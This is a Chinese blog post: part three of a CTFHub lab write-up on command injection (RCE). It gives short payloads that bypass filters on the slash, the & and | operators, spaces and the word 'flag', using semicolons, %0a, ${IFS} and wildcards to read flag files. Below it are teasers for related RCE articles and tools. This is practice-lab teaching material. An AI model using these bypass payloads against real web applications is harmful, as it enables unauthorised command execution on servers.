CTFHUB-RCE漏洞总结（三）

最新推荐文章于 2024-04-19 19:55:31 发布
最新推荐文章于 2024-04-19 19:55:31 发布
阅读量449 收藏 3
点赞数 1
分类专栏： 信息安全漏洞 文章标签： kali linux 安全漏洞 web
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_49422880/article/details/117039347
版权

CTFHUB-RCE漏洞总结（三）

CTFHUB-RCE漏洞总结（三）


链接: CTFHUB-RCE漏洞总结（二）.

一、过滤目录分割符

  这次过滤了目录分割符 / ，你能读到 flag 目录下的 flag 文件吗?那必须能呀。。。
开始不得探探水，看看是什么情况，然后按照正常的方法试了一试发现有古怪，实现不了，然后喵了一眼大佬的WP，懂了直接，这就相当于直接过滤掉/目录，不能一步步打开，然后我们需要一次性读出来。

125.12.0.2;cd flag_is_here;cat flag_158032525228274.php|base64

梭哈，直接出来
在这里插入图片描述

二、过滤运算符

  过滤了几个运算符, 要怎么绕过呢?硬绕
在这里插入图片描述
查看源代码发现过滤了&和|，也没什么影响就是在base64 解码上需要换一种方式。

192.168.22.77 ; base64 flag_15675302269053.php

在这里插入图片描述

三、综合测试

  这波绝对不参考任何文章。
在这里插入图片描述
看了一下源码有点慌，过滤了空格 &和|，flag和ctfub也过滤了，cat过滤还不慌，下面来试一试。
空格使用<或者${IFS}代替
；使用%0a代替
flag 使用通配符代替f***

?ip=127.0.0.1%0Acd${IFS}f***_is_here${IFS}%0Abase64${IFS}f***_79667907540.php

在这里插入图片描述
  总结：这一章的测试内容还挺好玩，实战上可能会很难出现这种高危漏洞，以上就是全部题解，大概两天时间把这一部分的WP写完，还是有些幸苦，大家要是觉得写的还可以麻烦点个小赞吧，后续会更精彩。
链接: CTFHUB-RCE漏洞总结（一）.
在这里插入图片描述

小蓝同学`
关注
  • 1
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
【网络安全】RCE漏洞讲解、绕过方式及实例介绍
等风来
05-13 1080
4、passthru()：能将字符串作为OS命令执行，只调用命令不返回任何结果，但把命令的运行结果原样输出到标准输出设备上；6、call_user_func_array()：回调函数，第一个参数为函数名，第二个参数为函数参数的数组。2、exec()：能将字符串作为OS命令执行，但是只返回执行结果的最后一行(约等于无回显)5、call_user_func()：回调函数，第一个参数为函数名，第二个参数为函数的参数。1、system()：能将字符串作为OS命令执行，且返回命令执行结果；
RCE漏洞
qq_46430168的博客
07-04 796
一、管道符 1. Windows管道符 ping 127.0.0.1|whoami   | 直接执行后面的语句 ping 127.0.0.1||whoami   || 前面的语句执行出错则执行后面的语句 ping 127.0.0.1&whoami   & 前面的语句为假则执行后面的语句 ping 127.0.0.1&&whoami   
CTFHUB-RCE漏洞总结（二）
qq_49422880的博客
05-19 685
CTFHUB-RCE漏洞总结（二）一级目录一级目录一级目录一级目录 链接: CTFHUB-RCE漏洞总结（一）. 一级目录 一级目录 一级目录 一级目录
CTF RCE漏洞
nobugnomoney的博客
09-17 4361
RCE知识点: rce分为远程执行ping，和远程代码执行evel。 漏洞出现原因：未在输入口做输入处理。 涉及到ping命令:ping是windows，linux系统下的一个命令，ping也属于一个通信协议，是TCP/IP协议的一部分，利用ping命令可以检查网络是否连通，可以很好的帮助我们分析和判定网络故障。 PHP 执行系统外部命令 system() exec() passthru() PHP作为一种服务器端的脚本语言，象编写简单，或者是复杂的动态网页这样的任务，它完全能够胜任。但事情不总是如此，有时
CTFhub-RCE漏洞详解
qq_49422880的博客
05-19 2482
CTFHUB-RCE漏洞详解（一）一、eval执行二、文件包含三、php://input   RCE英文全称：remote command/code execute（远程命令/代码执行漏洞）是互联网的一种安全漏洞。   它可以让攻击者直接向后台服务器远程注入操作系统命令，相当于直接操控服务器电脑的cmd命令行！从而操控后台系统，高危漏洞！   RCE漏洞产生的根本原因：服务器像php环境版本对可执行变量函数没有做过滤，导致在没有自定义相对路径的情况下就运行命令去执行,从而导致服务器被入侵。 一、eval执行
CTFHUB--RCE漏洞初步学习
qq_75120258的博客
03-27 708
关于RCE，在学习过程中其实已经接触到了很多，但在学习的时候都是这儿那儿一点一点的拼接起来的，所以看了很多大佬的博客，总结了一下，打算写一篇博客，好好的整理一下自己学习RCE所学到的东西。
NGINX-RCE:nginx的rce漏洞利用
04-04
NGINX-RCE nginx的rce漏洞利用怎么运行呢？ 首先只需使用gcc gcc expl0itz.c -o expl0itz 然后chmod chmod +x expl0itz 像二进制文件一样运行之后！ ./expl0itz
Struts2-RCE:Burp Extender用于检查struts 2 RCE漏洞
04-15
Struts2-RCE 一个Burp Extender，用于检查struts 2 RCE漏洞。描述此burp扩展有助于识别struts2 Web应用程序中的Struts2远程代码执行漏洞。 此Burp扩展程序检测以下18个RCE，它们是S2-001 S2-007 S2-008 S2-012 S2-...
Apache-druid-kafka-rce.yaml
最新发布
04-30
kafka相关RCE漏洞poc，扫描器的yaml文件，可以导入yara扫描器进行授权漏洞渗透测试。
向日葵RCE漏洞（CNVD-2022-10270）检测工具
02-19
向日葵RCE漏洞（CNVD-2022-10270）检测工具，已经编译好，命令行运行即可 xrkrce.exe -h 127.0.0.1
spring-boot-upload-file-lead-to-rce-tricks:spring boot Fat Jar 应用文件上传漏洞到 RCE 的利用技巧
04-12
spring-boot-upload-file-lead-to-rce-tricks一. docker 漏洞环境搭建docker pull landgrey/spring-boot-fat-jar-write-file-rce:1.2docker run -d -p 18081:18081 landgrey/spring-boot-fat-jar-write-file-rce:1.2...
RCE 漏洞 CTFhub学习
qq_51954912的博客
06-05 1032
文章目录前言什么是RCE漏洞eval执行命令注入（无过滤）过滤cat 前言 之前刷buu的题的时候，见过RCE漏洞的题，但是由于没有系统的学习，解题比较的困难。这次，系统的学习一下，再去解那道题。 什么是RCE漏洞 RCE英文全称：remote command/code execute 分为远程命令执行ping和远程代码执行evel。 出现的原因是：没有在输入口做输入处理。 eval执行 <?php if (isset($_REQUEST['cmd'])) { eval($_REQUEST[
code blue CTF 2019 fopen RCE 漏洞的 Writeup
systemino的博客
11-22 541
0x01 介绍 最近，我在打CODE BLUE CTF 2019决赛，里面有一道题目是通过fopen的第二个参数进行RCE，奇热在这篇文章我会详细说明解这道题目的方法。 首先，将下面两个文件放在/home/user目录： gconv-modules modulePAYLOAD//INTERNAL../../../../../../../../home/user/pa...
ctf php侧漏,ctf中常见php rce绕过总结
weixin_39723010的博客
03-16 1691
php webshell的研究只是总结一些常见的姿势,大佬轻喷无字母的情况一个经典的示例if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {eval($_GET['shell']);}在eval中执行,相当于用传入内容创建了一个新的php文件,也就是说= 这些也是可以用的在没有字母的情况下,php5可以通过$_($__);这个$_,会被php按照call...
RCE漏洞及其绕过——[SWPUCTF 2021 新生赛]easyrce、caidao、babyrce
2401_82985722的博客
04-19 1218
（参考）Shell是一个程序，它在用户和操作系统之间提供了一个面向行的可交互接口。用户在命令行中输入命令，运行在后台的shell把命令转换成指令码发给操作系统。远程代码执行漏洞远程命令执行漏洞。
RCE（命令执行）知识点总结最详细
m0_73605862的博客
02-09 1617
1.PHP常见的命令执行函数1)system()执行外部程序，并且返回命令输出的最后一行输出2）exec()执行外部程序，但是输出执行结果的最后一行内容执行外部程序，并且显示原始输出false4)eval()把字符串作为php代码执行，无回显注意，eval不能包含打开/关闭的php tags，就是不能包含完整的，但是可以用？>xxxxxx<?php这种。除此之外，传入的必须是有效的php代码，要以分号结尾。通过shell执行命令，并将完整的输出以字符串的方式返回6）执行运算符反引号在php中等同于。
RCE漏洞详解及绕过总结(全面)
热门推荐
永不落的梦想
07-10 1万+
包括RCE漏洞的原理，常见的造成RCE漏洞的函数解析，以及限制绕过的各种姿势
CTFHub:Rce
2301_80911344的博客
04-06 1117
RCE，即远程代码执行（Remote Code Execution），是指攻击者通过网络向目标计算机发送恶意指令或代码，成功地在目标计算机上远程执行这些指令或代码的能力。RCE是一种严重的安全漏洞，因为它允许攻击者在没有物理接触或认证的情况下控制另一台计算机。获取系统的控制权限。改变或破坏数据。启动或终止进程。在受影响的系统上安装恶意软件。监视用户行为或窃取敏感信息。因为RCE能够提供如此高级的控制权限，所以这类漏洞通常被认为是非常严重的，并且在被发现后应该立即修补。
RCE之命令注入
m0_51589948的博客
06-27 342
RCE之命令注入 什么是RCE 远程命令/代码执行漏洞，简称RCE漏洞，可以让攻击者直接向后台服务器远程注入操作系统命令或者代码，从而控制后台系统，RCE分为远程执行命令执行ping和远程代码执行eval 什么是命令注入 命令注入就是能够通过控制外部参数可以达到执行系统命令的效果 命令注入产生的原因 服务器对一些函数参数未进行过滤或者过滤不严格，导致可以注入执行额外的命令 例如，&，&&，|，||连接符，调用的第三方组件存在代码执行漏洞，如php代码执行函数的eval()
CVE-2017-15715漏洞和SSI-RCE漏洞。
07-27
CVE-2017-15715是一个存在于Apache Tomcat软件中的漏洞，该漏洞使得攻击者可以通过发送特制的HTTP请求，触发目标服务器上的远程代码执行。这个漏洞的影响范围是Tomcat 9.0.0.M1到9.0.0.M28版本（不包括9.0.0.M9版本）。如果目标服务器受到此漏洞的影响，攻击者可以利用它执行任意代码，可能导致敏感信息泄露或服务器完全被控制。 SSI-RCE漏洞是一种服务器端包含（SSI）漏洞，可能导致远程命令执行。SSI是一种服务器端处理动态内容的技术，它允许将外部文件包含到网页中。如果服务器未正确配置和过滤用户提供的输入，攻击者可以通过注入恶意代码来执行任意命令。这种漏洞可能会导致服务器被完全控制，从而造成数据泄露、服务拒绝或其他恶意行为。 请注意，对于具体的漏洞信息和修复建议，请查阅相应漏洞的CVE编号或相关安全公告以获取更准确和详细的信息。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值